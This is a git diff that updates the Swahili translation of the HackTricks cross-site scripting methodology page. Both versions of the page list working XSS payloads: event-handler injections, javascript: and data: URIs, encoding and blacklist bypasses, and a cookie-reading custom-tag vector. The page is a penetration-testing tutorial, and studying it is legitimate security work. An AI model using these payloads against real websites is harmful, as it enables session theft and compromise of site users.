mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to sw
This commit is contained in:
parent
40511eccb2
commit
d8099a8ed3
1 changed files with 130 additions and 112 deletions
|
@ -2,22 +2,22 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
|
||||
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Mbinu
|
||||
|
||||
1. Angalia ikiwa **thamani yoyote unayoidhibiti** (_parameta_, _njia_, _vichwa vya habari_?, _vidakuzi_?) inaonyeshwa katika HTML au **kutumiwa** na **msimbo wa JS**.
|
||||
2. **Pata muktadha** ambapo inaonyeshwa/inatumika.
|
||||
2. **Pata muktadha** ambapo inaonyeshwa/inatumiwa.
|
||||
3. Ikiwa **inaonyeshwa**
|
||||
1. Angalia **herufi zipi unaweza kutumia** na kulingana na hilo, andaa mzigo:
|
||||
1. Katika **HTML ghafi**:
|
||||
1. Je, unaweza kuunda vitambulisho vipya vya HTML?
|
||||
2. Je, unaweza kutumia matukio au sifa zinazounga mkono itifaki ya `javascript:`?
|
||||
3. Je, unaweza kukiuka ulinzi?
|
||||
4. Je, yaliyomo ya HTML inachambuliwa na injini yoyote ya JS ya upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Uingizaji wa Kigezo cha Upande wa Mteja**](../client-side-template-injection-csti.md).
|
||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza msimbo wa JS, unaweza kutumia [**Kutundikwa kwa Alama - Uingizaji wa HTML bila skripti**](../dangling-markup-html-scriptless-injection/)?
|
||||
4. Je, yaliyomo ya HTML inaonyeshwa na injini yoyote ya JS ya upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Uingizaji wa Kigezo cha Upande wa Mteja**](../client-side-template-injection-csti.md).
|
||||
5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza msimbo wa JS, je, unaweza kutumia [**Kutundika Alama - Uingizaji wa HTML bila skripti**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Ndani ya **lebo ya HTML**:
|
||||
1. Je, unaweza kutoka kwenye muktadha wa HTML ghafi?
|
||||
2. Je, unaweza kuunda matukio/sifa mpya za kutekeleza msimbo wa JS?
|
||||
|
@ -30,8 +30,8 @@ Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi
|
|||
4. Je, unaweza kukiuka ulinzi?
|
||||
4. **Kazi** ya JavaScript **inayotekelezwa**
|
||||
1. Unaweza kutaja jina la kazi ya kutekeleza. mf.: `?callback=alert(1)`
|
||||
4. Ikiwa **inatumika**:
|
||||
1. Unaweza kutumia **DOM XSS**, angalia jinsi mchango wako unadhibitiwa na ikiwa mchango wako **unaodhibitiwa unatumika na sink.**
|
||||
4. Ikiwa **inatumiwa**:
|
||||
1. Unaweza kutumia **DOM XSS**, angalia jinsi mchango wako unadhibitiwa na ikiwa mchango wako **unaodhibitiwa unatumiwa na sinki yoyote**.
|
||||
|
||||
Unapofanya kazi kwenye XSS ngumu unaweza kupata kuvutia kujua kuhusu:
|
||||
|
||||
|
@ -41,11 +41,11 @@ Unapofanya kazi kwenye XSS ngumu unaweza kupata kuvutia kujua kuhusu:
|
|||
|
||||
## Thamani Zilizoonyeshwa
|
||||
|
||||
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inaonyeshwa** kwenye ukurasa wa wavuti.
|
||||
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani unayoidhibiti inayoonyeshwa** kwenye ukurasa wa wavuti.
|
||||
|
||||
* **Kati-kati inayoonyeshwa**: Ikiwa unagundua kuwa thamani ya parameta au hata njia inaonyeshwa kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
|
||||
* **Imehifadhiwa na inayoonyeshwa**: Ikiwa unagundua kuwa thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inaonyeshwa kila wakati unapofikia ukurasa unaweza kutumia **Stored XSS**.
|
||||
* **Kufikiwa kupitia JS**: Ikiwa unagundua kuwa thamani inayodhibitiwa na wewe inatumika kwa kutumia JS unaweza kutumia **DOM XSS**.
|
||||
* **Kati-kati inayoonyeshwa**: Ikiwa unagundua kuwa thamani ya parameter au hata njia inaonyeshwa kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
|
||||
* **Imehifadhiwa na inayoonyeshwa**: Ikiwa unagundua kuwa thamani unayoidhibiti imehifadhiwa kwenye seva na inaonyeshwa kila wakati unapofikia ukurasa unaweza kutumia **Stored XSS**.
|
||||
* **Kufikiwa kupitia JS**: Ikiwa unagundua kuwa thamani unayoidhibiti inatumika kwa kutumia JS unaweza kutumia **DOM XSS**.
|
||||
|
||||
## Muktadha
|
||||
|
||||
|
@ -53,7 +53,7 @@ Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi mchango wako u
|
|||
|
||||
### HTML Ghafi
|
||||
|
||||
Ikiwa mchango wako unaonyeshwa kwenye **HTML ghafi** unahitaji kutumia **lebo za HTML** fulani ili kutekeleza msimbo wa JS: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya lebo za HTML zinazowezekana unaweza kutumia.\
|
||||
Ikiwa mchango wako unaonyeshwa kwenye **HTML ghafi** unahitaji kutumia **lebo za HTML** ili kutekeleza msimbo wa JS: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya lebo za HTML zinazowezekana unazoweza kutumia.\
|
||||
Pia, kumbuka [Uingizaji wa Kigezo cha Upande wa Mteja](../client-side-template-injection-csti.md).
|
||||
|
||||
### Ndani ya sifa za lebo za HTML
|
||||
|
@ -63,7 +63,7 @@ Ikiwa mchango wako unaonyeshwa ndani ya thamani ya sifa ya lebo unaweza jaribu:
|
|||
1. Kujaribu **kutoka kwenye sifa na kutoka kwenye lebo** (kisha utakuwa kwenye HTML ghafi) na kuunda lebo mpya ya HTML kutekeleza: `"><img [...]`
|
||||
2. Ikiwa **unaweza kutoka kwenye sifa lakini si kutoka kwenye lebo** (`>` imekodishwa au imefutwa), kulingana na lebo unaweza **kuunda tukio** linalotekeleza msimbo wa JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ikiwa **hauwezi kutoka kwenye sifa** (`"` inakodishwa au imefutwa), basi kulingana na **sifa ipi** thamani yako inaonyeshwa **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kutumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya iwekeze msimbo wa kiholela unapobonyeza. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
|
||||
4. Ikiwa mchango wako unaonyeshwa ndani ya "**lebo zisizoweza kufaidika**" unaweza kujaribu mbinu ya **`accesskey`** kudanganya udhaifu (utahitaji aina fulani ya mhandisi wa kijamii kuchexploit hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Ikiwa mchango wako unaonyeshwa ndani ya "**lebo zisizoweza kutumiwa**" unaweza kujaribu mbinu ya **`accesskey`** kutumia mwanya (utahitaji aina fulani ya mhandisi wa kijamii kuchexploit hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Mfano wa ajabu wa Angular unatekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```html
|
||||
|
@ -73,14 +73,14 @@ Mfano wa ajabu wa Angular unatekeleza XSS ikiwa unadhibiti jina la darasa:
|
|||
```
|
||||
### Ndani ya msimbo wa JavaScript
|
||||
|
||||
Katika kesi hii, matokeo yako yanarudiwa kati ya vitambulisho vya **`<script> [...] </script>`** ya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa inayotumia itifaki ya **`javascript:`**:
|
||||
Katika kesi hii, matokeo yako yanarudiwa kati ya **`<script> [...] </script>`** tags ya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa inayotumia itifaki ya **`javascript:`**:
|
||||
|
||||
* Ikiwa yamerudiwa kati ya vitambulisho vya **`<script> [...] </script>`**, hata kama matokeo yako iko ndani ya aina yoyote ya herufi, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwa muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kitapambua kwanza vitambulisho vya HTML** na kisha maudhui, kwa hivyo, haitagundua kuwa lebo yako ya kuingizwa ya `</script>` iko ndani ya msimbo wa HTML.
|
||||
* Ikiwa yamerudiwa **ndani ya herufi ya JS** na mbinu ya mwisho haifanyi kazi, utahitaji **kutoka** kwenye herufi, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa, haitatekelezwa):
|
||||
* Ikiwa inarudiwa kati ya **`<script> [...] </script>`** tags, hata kama matokeo yako iko ndani ya aina yoyote ya alama za nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwa muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kitapambua kwanza vitambulisho vya HTML** na kisha maudhui, kwa hivyo, haitagundua kuwa lebo yako ya kuingizwa ya `</script>` iko ndani ya msimbo wa HTML.
|
||||
* Ikiwa inarudiwa **ndani ya herufi za JS** na mbinu ya mwisho haifanyi kazi, utahitaji **kutoka** kwenye herufi, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, haitatekelezwa):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Ikiwa yamerudiwa ndani ya herufi za kiolesura unaweza **kuingiza mielekeo ya JS** kwa kutumia sintaksia `${ ... }`: `` var salamu = `Hello, ${alert(1)}` ``
|
||||
* Ikiwa inarudiwa ndani ya herufi za kiolesura unaweza **kuingiza mielekeo ya JS** kwa kutumia sintaksia `${ ... }`: `` var salamu = `Hello, ${alert(1)}` ``
|
||||
* **Kodisha Unicode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -104,9 +104,9 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
|
|||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
Ikiwa ni dhaifu, unaweza kuwa na uwezo wa **kuzindua tahadhari** kwa kutuma thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba makali haya yata **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za mshale na mistari ya chini tu (**`[\w\._]`**).
|
||||
Ikiwa ni dhaifu, unaweza kuwa na uwezo wa **kuzindua tahadhari** kwa kutuma thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba makali haya yata **thibitisha maudhui** ili kuruhusu herufi, nambari, dots na vichwa vya mstari tu (**`[\w\._]`**).
|
||||
|
||||
Hata hivyo, hata na kizuizi hicho bado ni rahisi kutekeleza baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi halali hizo kufikia kipengele chochote kwenye DOM:
|
||||
Hata hivyo, hata na kizuizi hicho bado inawezekana kutekeleza baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi halali hizo kufikia kipengele chochote kwenye DOM:
|
||||
|
||||
![](<../../.gitbook/assets/image (747).png>)
|
||||
|
||||
|
@ -122,7 +122,7 @@ Unaweza pia kujaribu **kuzindua kazi za Javascript** moja kwa moja: `obj.sales.d
|
|||
|
||||
Walakini, kwa kawaida sehemu zinazotekeleza kazi iliyotajwa ni sehemu bila DOM ya kuvutia sana, **kurasa nyingine katika asili ile ile** zitakuwa na **DOM yenye kuvutia zaidi** kufanya vitendo zaidi.
|
||||
|
||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ilitengenezwa unyonyaji wa **utekelezaji wa Mbinu ya Asili Iliyofanana (SOME)**:
|
||||
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ilitengenezwa unyanyasaji wa **utekelezaji wa Njia ya Asili Iliyofanana (SOME)**:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -130,7 +130,7 @@ Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ilitengenezwa unyonyaj
|
|||
|
||||
### DOM
|
||||
|
||||
Kuna **msimbo wa JS** unaotumia **kwa njia isiyokuwa salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote.
|
||||
Kuna **msimbo wa JS** ambao unatumia **kwa njia isiyokuwa salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa aina yoyote.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ Kuna **msimbo wa JS** unaotumia **kwa njia isiyokuwa salama** baadhi ya **data i
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
Aina hii ya XSS inaweza kupatikana **mahali popote**. Hawategemei tu unyonyaji wa mteja wa programu ya wavuti bali pia kwenye **muktadha wowote**. Aina hii ya **utekelezaji wa JavaScript wa aina yoyote** inaweza hata kutumika kupata **RCE**, **kusoma** **faili za aina yoyote** kwenye wateja na seva, na zaidi.\
|
||||
Aina hii ya XSS inaweza kupatikana **mahali popote**. Hawategemei tu unyanyasaji wa mteja wa programu ya wavuti bali pia kwenye **muktadha wowote**. Aina hii ya **utekelezaji wa JavaScript wa aina yoyote** inaweza hata kutumiwa kwa **RCE**, **kusoma** **faili za aina yoyote** kwenye wateja na seva, na zaidi.\
|
||||
Baadhi ya **mfano**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,7 +155,7 @@ Baadhi ya **mfano**:
|
|||
|
||||
## Kuingiza ndani ya HTML ghafi
|
||||
|
||||
Wakati matokeo yako yanarudishwa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, **jambo la kwanza** unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kurudisha** **herufi** hiyo na uangalie ikiwa ina **kodishwa kwa HTML** au **kufutwa** au ikiwa ina **rudishwa bila mabadiliko**. **Katika kesi ya mwisho tu ndio utaweza kutumia udhaifu huu**.\
|
||||
Wakati kuingizwa kwako kunarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza msimbo wa HTML katika muktadha huu, **jambo la kwanza** unalohitaji kufanya ni kuangalia ikiwa unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kurejeleza** **herufi** hiyo na uangalie ikiwa ina **kodishwa kwa HTML** au **kufutwa** au ikiwa ina **rejeshwa bila mabadiliko**. **Katika kesi ya mwisho tu utaweza kutumia udhaifu huu**.\
|
||||
Kwa kesi hizi pia **kumbuka** [**Uingizaji wa Kigezo cha Upande wa Mteja**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Maelezo: Maoni ya HTML yanaweza kufungwa kwa kutumia**** ****`-->`**** ****au**** ****`--!>`**_
|
||||
|
||||
|
@ -165,21 +165,22 @@ Katika kesi hii na ikiwa hakuna orodha nyeusi/orodha nyeupe inayotumiwa, unaweza
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Lakini, ikiwa orodha nyeusi/nyeupe ya vitambulisho/sifa inatumika, utahitaji **kufanya nguvu ya kutumia vitambulisho** unavyoweza kuunda. Mara baada ya **kupata vitambulisho vilivyoidhinishwa**, utahitaji **kufanya nguvu ya kutumia sifa/tukio** ndani ya vitambulisho halali ulivyopata kuona jinsi unavyoweza kushambulia muktadha.
|
||||
Lakini, ikiwa orodha nyeusi/nyeupe ya vitambulisho/vipengele inatumika, utahitaji **kujaribu nguvu ni vitambulisho vipi** unaweza kuunda.\
|
||||
Marafiki **umepata vitambulisho vipi vinavyoruhusiwa**, utahitaji **kujaribu nguvu vipengele/matukio** ndani ya vitambulisho halali ulivyopata kuona jinsi unavyoweza kushambulia muktadha.
|
||||
|
||||
### Nguvu ya Vitambulisho/Tukio
|
||||
### Kujaribu Nguvu Vitambulisho/Matukio
|
||||
|
||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Nakili vitambulisho kwenye ubao wa kunakili**_. Kisha, tuma vyote kwa kutumia Burp intruder na angalia ikiwa kuna vitambulisho vilivyogunduliwa kama vichafu na WAF. Mara baada ya kugundua vitambulisho unavyoweza kutumia, unaweza **kufanya nguvu ya kutumia tukio zote** kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza _**Nakili matukio kwenye ubao wa kunakili**_ na fuata utaratibu huo huo kama awali).
|
||||
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Nakili vitambulisho kwenye ubao**_. Kisha, tuma vyote kwa kutumia Burp intruder na angalia kama kuna vitambulisho vilivyogunduliwa kuwa vichafu na WAF. Mara baada ya kugundua ni vitambulisho vipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia vitambulisho halali (kwenye ukurasa huo huo wa wavuti bonyeza _**Nakili matukio kwenye ubao**_ na fuata utaratibu huo huo kama awali).
|
||||
|
||||
### Vitambulisho vya Desturi
|
||||
|
||||
Ikiwa hukupata kitambulisho halali la HTML, unaweza kujaribu **kuunda kitambulisho cha desturi** na kutekeleza msimbo wa JS na sifa ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uelekee kwenye kitu hicho** na **kutekeleza** msimbo:
|
||||
Ikiwa hukupata kitambulisho halali la HTML lolote, unaweza kujaribu **kuunda kitambulisho cha desturi** na kutekeleza msimbo wa JS na sifa ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uelekeze kwenye kitu hicho** na **kutekeleza** msimbo:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Kupitisha Orodha ya Kupuuza
|
||||
### Kupita Kizuizi cha Orodha ya Kupiga Marufuku
|
||||
|
||||
Ikiwa aina fulani ya orodha ya kupuuza inatumika unaweza jaribu kuipitisha kwa mbinu za kipumbavu:
|
||||
Ikiwa aina fulani ya orodha ya kupiga marufuku inatumika, unaweza jaribu kuipita kwa mbinu za kipumbavu:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -270,14 +271,14 @@ Ikiwa **hauwezi kutoroka kutoka kwenye lebo**, unaweza kuunda sifa mpya ndani ya
|
|||
```
|
||||
### Ndani ya sifa
|
||||
|
||||
Hata kama **hauwezi kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kutegemea **sifa ipi** thamani yako inaonyeshwa **ikiwa una udhibiti wa thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa una udhibiti wa tukio kama `onclick=`, utaweza kuifanya itekeleze nambari ya kupendelea wakati inapobonyezwa.
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza nambari ya kupendelea: **`href="javascript:alert(1)"`**
|
||||
Hata kama **hauwezi kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kutegemea **sifa ipi** thamani yako inaonyeshwa ikiwa **una udhibiti wa thamani yote au sehemu tu** unaweza kuibua. Kwa **mfano**, ikiwa una udhibiti wa tukio kama `onclick=`, utaweza kuifanya itekeleze nambari ya kupita wakati inapobonyezwa.
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza nambari ya kupita: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Kupita ndani ya tukio kwa kutumia uendeshaji wa HTML encoding/URL encode**
|
||||
**Kupita ndani ya tukio kwa kutumia uendeshaji wa HTML/URL encode**
|
||||
|
||||
**Vichwa vya habari vilivyokodishwa vya HTML** ndani ya thamani ya sifa za vitambulisho vya HTML vinadecoded wakati wa uendeshaji. Kwa hivyo kitu kama hicho kitakuwa halali (mzigo uko kwa herufi nene): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Rudi </a>`
|
||||
|
||||
Tafadhali kumbuka **aina yoyote ya HTML encode ni halali**:
|
||||
Tafadhali kumbuka **aina yoyote ya uendeshaji wa HTML ni halali**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
|
@ -306,7 +307,7 @@ Tafadhali kumbuka **aina yoyote ya HTML encode ni halali**:
|
|||
```
|
||||
### Itifaki Maalum Ndani ya sifa
|
||||
|
||||
Hapo unaweza kutumia itifaki za **`javascript:`** au **`data:`** mahali fulani ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi itahitaji ushirikiano wa mtumiaji na nyingine hazitahitaji.
|
||||
Hapo unaweza kutumia itifaki **`javascript:`** au **`data:`** mahali fulani ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi itahitaji ushirikiano wa mtumiaji na nyingine hazitahitaji.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -328,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Maeneo ambapo unaweza kuingiza itifaki hizi**
|
||||
|
||||
**Kwa ujumla** itifaki ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa ya `href`** na katika **zaidi** ya lebo nyingi zinazokubali sifa ya **`src`** (lakini sio `<img`)
|
||||
**Kwa ujumla** itifaki ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa ya `href`** na katika **zaidi** ya lebo zinazokubali **sifa ya `src`** (lakini sio `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -350,11 +351,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Mbinu zingine za kuficha**
|
||||
|
||||
_**Katika kesi hii, kuficha kwa kutumia HTML na kuficha kwa kutumia Unicode kutoka kwenye sehemu iliyopita ni sahihi pia kwani uko ndani ya sifa.**_
|
||||
_**Katika kesi hii, ujazo wa HTML na mbinu ya kuficha ya Unicode kutoka kwa sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Zaidi ya hayo, kuna **mchezo mzuri** mwingine kwa hali hizi: **Hata kama kuingiza yako ndani ya `javascript:...` inakuwa imefanyiwa URL encoding, itakuwa URL decoded kabla ya kutekelezwa.** Kwa hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **herufi** kwa kutumia **alama ya nukta moja** na unaona kwamba **imefanyiwa URL encoding**, kumbuka kwamba **hauna maana,** itatafsiriwa kama **alama ya nukta moja** wakati wa **utekelezaji.**
|
||||
Zaidi ya hayo, kuna **mchezo mzuri** mwingine kwa hali hizi: **Hata kama kuingiza kwako ndani ya `javascript:...` inakuwa imefanyiwa URL encoding, itakuwa URL decoded kabla ya kutekelezwa.** Kwa hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **herufi** kwa kutumia **alama ya nukta moja** na unaona kwamba **imefanyiwa URL encoding**, kumbuka kwamba **hauna maana,** itatafsiriwa kama **alama ya nukta moja** wakati wa **utekelezaji.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -376,20 +377,20 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Kubadilisha tabu ya tabu
|
||||
### Kubadilisha tabu ya nabbing
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao kuchexploit tabia hii**:
|
||||
If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kwenye Mabwawa ya Tukio
|
||||
### Kwenye Wapitishaji wa Tukio Bypass
|
||||
|
||||
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"mabwawa ya tukio" ya matumizi**.\
|
||||
Kwa hali ambapo kuna orodha nyeusi inayozuia kutengeneza mabwawa haya hata kama unaweza kujaribu kuepuka kwa njia zifuatazo:
|
||||
Kwanza kabisa angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" wapitishaji wa tukio** wenye manufaa.\
|
||||
Kama kuna orodha nyeusi inayozuia kuunda wapitishaji hawa hata unaweza kujaribu kubadilisha:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -404,14 +405,14 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS katika "Tags zisizoweza kudukuliwa" (hidden input, link, canonical, meta)
|
||||
### XSS katika "Vitambulisho visivyoweza kudukuliwa" (kuingiza siri, kiungo, kanoni, meta)
|
||||
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibonyezo vilivyofichwa na:**
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibambo vya siri kwa:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
Na kwenye **lebo za meta**:
|
||||
Na kwenye **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -419,7 +420,7 @@ Na kwenye **lebo za meta**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumshawishi** **mlemavu** kubonyeza **kombinisheni ya ufunguo**. Kwenye Firefox Windows/Linux kombinasheni ya ufunguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubainisha kombinasheni tofauti ya ufunguo kwa kutumia ufunguo tofauti katika sifa ya ufikivu wa ufunguo. Hapa kuna vector:
|
||||
Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kumshawishi** **mlemavu** kubonyeza **kombinisheni ya funguo**. Kwenye Firefox Windows/Linux kombinisheni ya funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubainisha kombinisheni tofauti ya funguo kwa kutumia funguo tofauti katika sifa ya ufikivu wa funguo. Hapa kuna vector:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -437,7 +438,7 @@ Mbinu kadhaa za kutumia nambari tofauti za kuweka zilifunuliwa tayari ndani ya s
|
|||
|
||||
**Kuepuka kwa lebo na sifa za HTML**
|
||||
|
||||
Soma[ Kuepuka Orodha ya Kupiga marufuku ya sehemu iliyopita](./#blacklist-bypasses).
|
||||
Soma[ Kuepuka kwa Orodha ya Kupiga marufuku ya sehemu iliyopita](./#blacklist-bypasses).
|
||||
|
||||
**Kuepuka kwa nambari ya JavaScript**
|
||||
|
||||
|
@ -445,9 +446,9 @@ Soma[ Kuepuka kwa Orodha ya Kupiga marufuku ya JavaScript ya sehemu ifuatayo](./
|
|||
|
||||
### CSS-Gadgets
|
||||
|
